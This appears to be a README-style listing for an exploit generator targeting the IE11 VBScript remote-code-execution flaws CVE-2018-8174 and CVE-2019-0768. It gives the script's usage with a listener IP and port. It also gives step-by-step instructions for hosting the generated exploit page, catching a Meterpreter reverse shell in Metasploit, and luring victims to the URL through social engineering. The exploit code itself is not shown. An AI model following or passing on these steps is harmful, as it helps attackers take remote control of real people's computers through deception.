CVE-2019-0768 PoC — Microsoft Internet Explorer 输入验证错误漏洞

Description

Exploit Generator for CVE-2018-8174 & CVE-2019-0768 (RCE via VBScript Execution in IE11)

介绍

# IE11 VBScript Exploit
Exploit Generator for CVE-2018-8174 & CVE-2019-0768 (RCE via VBScript Execution in IE11)

# Prerequisite
- Metasploit
- msfvenom

# Usage
python ie11_vbscript.py [Listener IP] [Listener Port]

# Instruction
1. Use this script to generate "exploit.html"
2. Host the html file on your server
3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
5. Perform social engineering attack with the payload url

# Credit
https://www.exploit-db.com/exploits/44741

# CVEs
https://nvd.nist.gov/vuln/detail/CVE-2018-8174
https://nvd.nist.gov/vuln/detail/CVE-2019-0768

文件快照

备注